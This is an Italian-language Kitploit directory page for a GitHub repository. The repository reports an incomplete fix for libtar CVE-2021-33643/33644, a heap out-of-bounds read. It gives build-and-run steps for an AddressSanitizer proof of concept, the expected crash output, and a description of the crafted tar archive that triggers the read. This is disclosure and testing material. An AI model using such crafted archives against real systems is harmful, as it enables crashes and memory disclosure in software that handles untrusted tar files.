Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/nilondal/libtar-cve-2021-33644-followup
Analisi StaticaMemory ForensicsAnalisi delle VulnerabilitàExploitFuzzingAnalisi di Binari
GitHubnilondal/libtar-cve-2021-33644-followup

libtar-CVE-2021-33644-followup

libtar: correzione incompleta per CVE-2021-33643/CVE-2021-33644 (lettura OOB nell'heap nella gestione dei nomi lunghi GNU)

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
2121 giorno faNon ancora revisionato
Condividi

Riproduzione

Richiede un compilatore C con AddressSanitizer (gcc o clang) e Python 3.

# 1. Clone upstream libtar
git clone https://github.com/tklauser/libtar.git
cd libtar

# 2. Generate the listhash sources (normally done by autotools)
mkdir -p build
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
    listhash/listhash.h.in > build/libtar_listhash.h
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
    listhash/list.c.in > build/libtar_list.c
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
    listhash/hash.c.in > build/libtar_hash.c

# 3. Build libtar + the PoC consumer under ASan
#    (CFLAGS below patch over values autotools would normally supply)
CFLAGS="-Ilib -Icompat -Ibuild -Ipoc \
  -DNEED_MAKEDEV -DMAJOR_IN_SYSMACROS -DNEED_STRMODE \
  -DPACKAGE_VERSION=\"1.2.20\" \
  -include sys/sysmacros.h -include fnmatch.h -include fcntl.h -include string.h \
  -O1 -g -std=gnu11"
SRCS="lib/append.c lib/block.c lib/decode.c lib/encode.c lib/extract.c \
      lib/handle.c lib/output.c lib/util.c lib/wrapper.c compat/strmode.c \
      build/libtar_list.c build/libtar_hash.c"
for f in $SRCS; do
  gcc $CFLAGS -fsanitize=address -c "$f" -o "build/$(basename "${f%.c}").o"
done
ar rcs build/liblibtar_asan.a build/*.o
gcc $CFLAGS -fsanitize=address poc/poc_crash.c build/liblibtar_asan.a -o build/poc_crash

# 4. Craft the triggering archive and run the PoC
python3 poc/make_archive.py longname.tar
ASAN_OPTIONS=halt_on_error=1:detect_leaks=0 ./build/poc_crash longname.tar

(detect_leaks=0 sopprime un rilevamento del leak-detector non correlato e preesistente — tar_close() non libera th_buf.gnu_longname — che non ha nulla a che vedere con questa vulnerabilità; omettilo se vuoi vedere anche quel leak.)

Risultato atteso

Non corretto: AddressSanitizer interrompe con un heap-buffer-overflow in LETTURA:

==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
    #0 safer_name_suffix   lib/decode.c:39
    #1 th_get_pathname     lib/decode.c:60
0x... is located 0 bytes after 512-byte region [...]
  allocated by thread T0 here:
    #0 malloc
    #1 th_read             lib/block.c:192

Corretto (dopo aver applicato patches/0001-...patch): nessun overflow; th_get_pathname() restituisce esattamente la stringa di 512 byte controllata dall'attaccante con un terminatore all'offset corretto.

Come si presenta l'archivio

Un archivio tar di 3 blocchi:

  1. Un'intestazione di estensione per nome lungo GNU (typeflag='L') che dichiara dimensione 512.
  2. Un blocco dati di 512 byte contenente "pwn" + "A"*509 — nessun byte NUL in alcun punto.
  3. Un'intestazione normale di un membro con nome breve (più il proprio blocco dati e i due blocchi standard di zeri per l'EOF), così che l'archivio nel suo complesso sia un file ustar ben formato e con checksum valido.

th_read() alloca gnu_longname come esattamente 512 byte (blocks * T_BLOCKSIZE, con blocks == 1) e riempie ogni byte dall'archivio. Poiché i dati non contengono NUL, il buffer non ha un terminatore di stringa. Qualsiasi codice che lo tratti come una stringa C — safer_name_suffix(), th_get_pathname(), th_get_linkname(), la stampa verbose/debug di libtar stesso — legge oltre la fine dell'allocazione.

Scarica lo strumento